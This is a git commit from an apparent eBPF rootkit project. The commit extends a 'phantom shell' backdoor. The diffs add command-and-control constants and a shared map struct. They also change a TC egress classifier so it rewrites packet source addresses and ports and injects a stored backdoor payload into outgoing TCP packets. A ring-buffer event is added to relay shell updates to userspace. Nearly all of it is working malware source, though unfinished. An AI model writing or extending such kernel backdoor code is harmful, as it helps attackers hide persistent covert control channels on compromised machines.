Further completed the phantom shell routine and added more checks in TC, still not finished, payload rewriting remains, but the rest is fully ready

This commit is contained in:
h3xduck
2022-05-10 23:04:19 -04:00
parent f2c3624e8b
commit 567d8d706c
12 changed files with 2982 additions and 2892 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -28,7 +28,7 @@
#define CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL 2
#define CC_PROT_COMMAND_PHANTOM_SHELL 3
#define CC_PROT_PHANTOM_COMMAND_LIST_HOOKS 0
#define CC_PROT_PHANTOM_SHELL_INIT "CC_PHANTOM_INIT"
//C&C V3 -- Distributed hidden payload in packet stream + encrypted shell
struct trigger_32_t {

View File

@@ -1,6 +1,8 @@
#ifndef __MAP_COMMON_H
#define __MAP_COMMON_H
#include "struct_common.h"
// Ring buffer for kernel->user communication
#define RB_EVENT_MAX_MESSAGE_SIZE 512
typedef enum {
@@ -8,13 +10,15 @@ typedef enum {
DEBUG,
EXIT,
ERROR,
COMMAND
COMMAND,
PSH_UPDATE
} event_type_t;
struct rb_event {
int pid;
char message[RB_EVENT_MAX_MESSAGE_SIZE];
int code;
struct backdoor_phantom_shell_data bps_data;
event_type_t event_type;
};

View File

@@ -0,0 +1,13 @@
#ifndef __H_STRUCT_COMMON
#define __H_STRUCT_COMMON
struct backdoor_phantom_shell_data{
int active;
unsigned int d_ip;
unsigned short d_port;
char payload[64];
};
#endif

View File

@@ -47,11 +47,7 @@ struct backdoor_packet_log_data_16{
};
//Map value, contains data of phantom shell, if active
struct backdoor_phantom_shell_data{
int active;
__u32 d_ip;
__u16 d_port;
};
//In struct_common.h, it is used from userspace and kernel many times, so moved there
struct fs_priv_open{ //Map

View File

@@ -17,6 +17,7 @@
#define __H_TCKIT
#include "defs.h"
#include "../../../common/struct_common.h"
#include "../../../common/constants.h"
SEC("classifier/egress")
@@ -45,7 +46,7 @@ int classifier_egress(struct __sk_buff *skb){
return TC_ACT_OK;
}
if(ip->protocol != IPPROTO_TCP){
bpf_printk("TCP\n");
//bpf_printk("Not TCP\n");
return TC_ACT_OK;
}
@@ -67,9 +68,10 @@ int classifier_egress(struct __sk_buff *skb){
bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp);
__u32 payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
/*bpf_printk("ip_totlen: %u, tcp_doff*4: %u, ip_ihl: %u\n", ntohs(ip->tot_len), tcp->doff*4, ip->ihl*4);
char* payload = (void *)(tcp + tcp->doff*4);
if ((void*)payload + payload_size > data_end){
bpf_printk("ip_totlen: %u, tcp_doff*4: %u, ip_ihl: %u\n", ntohs(ip->tot_len), tcp->doff*4, ip->ihl*4);
//char* payload = (void *)(tcp + tcp->doff*4);
char* payload = data_end - payload_size;
/*if ((void*)payload + payload_size > data_end){
bpf_printk("PAYLOAD CHECK, payload:%llx, payload_size:%llx, data_end:%llx\n", payload, payload_size, data_end);
return TC_ACT_OK;
}*/
@@ -86,10 +88,7 @@ int classifier_egress(struct __sk_buff *skb){
struct backdoor_phantom_shell_data ps_new_data = {0};
if(ps_data == (void*)0){
//Phantom shell not active
bpf_printk("Phantom shell NOT active anytime\n");
ps_new_data.active = 1;
ps_new_data.d_ip = 1;
ps_new_data.d_port = 1;
bpf_printk("Phantom shell NOT active yet\n");
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
if(err<0){
bpf_printk("Fail to update map\n");
@@ -97,28 +96,24 @@ int classifier_egress(struct __sk_buff *skb){
return TC_ACT_OK;
}
if(ps_data->active == 0){
bpf_printk("Phantom shell NOT active now\n");
ps_new_data.active = 1;
ps_new_data.d_ip = 1;
ps_new_data.d_port = 1;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
if(err<0){
bpf_printk("Fail to update map\n");
}
bpf_printk("Phantom shell NOT active right now\n");
return TC_ACT_OK;
}
ps_new_data.active = 1;
ps_new_data.d_ip = 1;
ps_new_data.d_port = 1;
//We will complete this request, so we get the backdoor in inactive state
ps_new_data.active = 0;
ps_new_data.d_ip = ps_data->d_ip;
ps_new_data.d_port = ps_data->d_port;
__builtin_memcpy(ps_new_data.payload, ps_data->payload, 64);
//ps_new_data.payload = ps_data->payload;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
if(err<0){
bpf_printk("Fail to update map\n");
}
bpf_printk("Phantom shell active now, active is %i\n", ps_data->active);
bpf_printk("Phantom shell active now, A:%i IP:%i P:%i\n", ps_data->active, ps_data->d_ip, ps_data->d_port);
__u32 new_ip = ps_data->d_ip;
__u16 new_port = ps_data->d_port;
__u32 offset_ip = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr);
__u16 offset_port = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
__u32 offset_ip = offsetof(struct iphdr, saddr)+ sizeof(struct ethhdr);
__u16 offset_port = offsetof(struct tcphdr, source)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
bpf_printk("offset ip: %u\n", offset_ip);
int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), BPF_F_RECOMPUTE_CSUM);
if (ret < 0) {
@@ -132,6 +127,46 @@ int classifier_egress(struct __sk_buff *skb){
return TC_ACT_OK;
}
//We want to substitute the payload too.
bpf_printk("Payload: %s\n", payload);
if(payload_size>=64){
return TC_ACT_OK;
}
ret = bpf_skb_change_tail(skb, 64-payload_size, 0);
if (ret < 0) {
bpf_printk("Failed to enlarge the packet (via tail): %d\n", ret);
return TC_ACT_OK;
}
//After changing the packet bounds, all the boundaries must be check again
eth = data;
if ((void *)eth + sizeof(struct ethhdr) > data_end){
bpf_printk("ETH\n");
return TC_ACT_OK;
}
ip = (struct iphdr*)(data + sizeof(struct ethhdr));
if ((void *)ip + sizeof(struct iphdr) > data_end){
bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end);
return TC_ACT_OK;
}
tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr));
if ((void *)tcp + sizeof(struct tcphdr) > data_end){
bpf_printk("TCP CHECK\n");
return TC_ACT_OK;
}
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
payload = data_end - payload_size;
if(payload<(char*)data || payload_size>=sizeof(char)*64){
return TC_ACT_OK;
}
ret = bpf_skb_store_bytes(skb, payload-(char*)data, ps_data->payload, (sizeof(char)*64)-payload_size, BPF_F_RECOMPUTE_CSUM);
if (ret < 0) {
bpf_printk("Failed to overwrite destination port: %d\n", ret);
return TC_ACT_OK;
}
return TC_ACT_OK;
}
@@ -198,13 +233,13 @@ int classifier_ingress(struct __sk_buff *skb){
//We redirect whatever packet this is to the rootkit
//The TCP retransmissions will be in charge of resending it correctly later
__u64 key = 1;
/*__u64 key = 1;
struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
struct backdoor_phantom_shell_data ps_new_data = {0};
if(ps_data == (void*)0){
//Phantom shell not active
bpf_printk("Phantom shell NOT active anytime\n");
ps_new_data.active = 1;
ps_new_data.active = 4;
ps_new_data.d_ip = 1;
ps_new_data.d_port = 1;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
@@ -215,7 +250,7 @@ int classifier_ingress(struct __sk_buff *skb){
}
if(ps_data->active == 0){
bpf_printk("Phantom shell NOT active now\n");
ps_new_data.active = 1;
ps_new_data.active = 5;
ps_new_data.d_ip = 1;
ps_new_data.d_port = 1;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
@@ -224,7 +259,7 @@ int classifier_ingress(struct __sk_buff *skb){
}
return TC_ACT_OK;
}
ps_new_data.active = 1;
ps_new_data.active = 6;
ps_new_data.d_ip = 1;
ps_new_data.d_port = 1;
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
@@ -248,7 +283,7 @@ int classifier_ingress(struct __sk_buff *skb){
if (ret < 0) {
bpf_printk("Failed to overwrite destination port: %d\n", ret);
return TC_ACT_OK;
}
}*/
return TC_ACT_OK;

View File

@@ -62,6 +62,26 @@ static __always_inline int ring_buffer_send_backdoor_command(struct ring_buffer
bpf_ringbuf_submit(event, 0);
return 0;
}
/**
* @brief Sends an event indicating a received command in the backdoor
*
* @return 0 if ok, -1 if error
*/
static __always_inline int ring_buffer_send_request_update_phantom_shell(struct ring_buffer *rb, int pid, int code, struct backdoor_phantom_shell_data data){
struct rb_event *event = (struct rb_event*) bpf_ringbuf_reserve(rb, sizeof(struct rb_event), 0);
if(!event){
return -1;
}
event->code = code;
event->event_type = PSH_UPDATE;
event->pid = pid;
event->bps_data = data;
bpf_ringbuf_submit(event, 0);
return 0;
}

View File

@@ -37,8 +37,8 @@ static __always_inline int execute_key_command(int command_received, __u32 ip, _
ps_new_data.active = 1;
ps_new_data.d_ip = ip;
ps_new_data.d_port = port;
bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
__builtin_memcpy(ps_new_data.payload, CC_PROT_PHANTOM_SHELL_INIT, 16);
ring_buffer_send_request_update_phantom_shell(&rb_comm, pid, command_received, ps_new_data);
break;
default:

BIN
src/tc.o

Binary file not shown.

View File

@@ -16,6 +16,7 @@
#include "../common/constants.h"
#include "../common/map_common.h"
#include "../common/c&c.h"
#include "../common/struct_common.h"
#include "include/utils/files/path.h"
#include "include/utils/strings/regex.h"
#include "include/utils/structures/fdlist.h"
@@ -28,6 +29,8 @@
goto cleanup\
}
static int FD_TC_MAP;
static struct env {
bool verbose;
} env;
@@ -132,6 +135,22 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
default:
printf("Command received unknown: %d\n", e->code);
}
}else if(e->event_type == PSH_UPDATE){
printf("Requested to update the phantom shell\n");
int key = 1;
struct backdoor_phantom_shell_data data;
int err = bpf_map_lookup_elem(FD_TC_MAP, &key, &data);
if(err<0) {
printf("Failed to read the shared map\n");
return -1;
}
printf("Pre value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
data.active = e->bps_data.active;
data.d_ip = e->bps_data.d_ip;
data.d_port = e->bps_data.d_port;
memcpy(data.payload, e->bps_data.payload, 64);
printf("Post value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
}else{
printf("%s COMMAND pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
return -1;
@@ -182,17 +201,11 @@ int check_map_fd_info(int map_fd, struct bpf_map_info *info, struct bpf_map_info
return 0;
}
struct backdoor_phantom_shell_data{
int active;
__u32 d_ip;
__u16 d_port;
};
int main(int argc, char**argv){
struct ring_buffer *rb = NULL;
struct kit_bpf *skel;
struct bpf_map_info map_expect = { 0 };
struct bpf_map_info info = { 0 };
struct bpf_map_info map_expect = {0};
struct bpf_map_info info = {0};
__u32 err;
//Ready to be used
@@ -267,17 +280,17 @@ int main(int argc, char**argv){
goto cleanup;
}
int tc_efd = bpf_obj_get("/sys/fs/bpf/tc/globals/backdoor_phantom_shell");
printf("TC MAP ID: %i\n", tc_efd);
FD_TC_MAP = bpf_obj_get("/sys/fs/bpf/tc/globals/backdoor_phantom_shell");
printf("TC MAP ID: %i\n", FD_TC_MAP);
map_expect.key_size = sizeof(__u64);
map_expect.value_size = sizeof(struct backdoor_phantom_shell_data);
map_expect.max_entries = 1;
err = check_map_fd_info(tc_efd, &info, &map_expect);
err = check_map_fd_info(FD_TC_MAP, &info, &map_expect);
if (err) {
fprintf(stderr, "ERR: map via FD not compatible\n");
return err;
}
printf("\nCollecting stats from BPF map\n");
printf("Collected stats from BPF map:\n");
printf(" - BPF map (bpf_map_type:%d) id:%d name:%s"
" key_size:%d value_size:%d max_entries:%d\n",
info.type, info.id, info.name,
@@ -285,11 +298,12 @@ int main(int argc, char**argv){
);
int key = 1;
struct backdoor_phantom_shell_data data;
err = bpf_map_lookup_elem(tc_efd, &key, &data);
err = bpf_map_lookup_elem(FD_TC_MAP, &key, &data);
if(err<0) {
printf("Failed to lookup element\n");
}
printf("%i, %i, %i\n", data.active, data.d_ip, data.d_port);
printf("Value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
//bpf_map_update_elem(tc_efd, &key, &data, 0);
/*bpf_obj_get(NULL);
char* DIRECTORY_PIN = "/sys/fs/bpf/mymaps";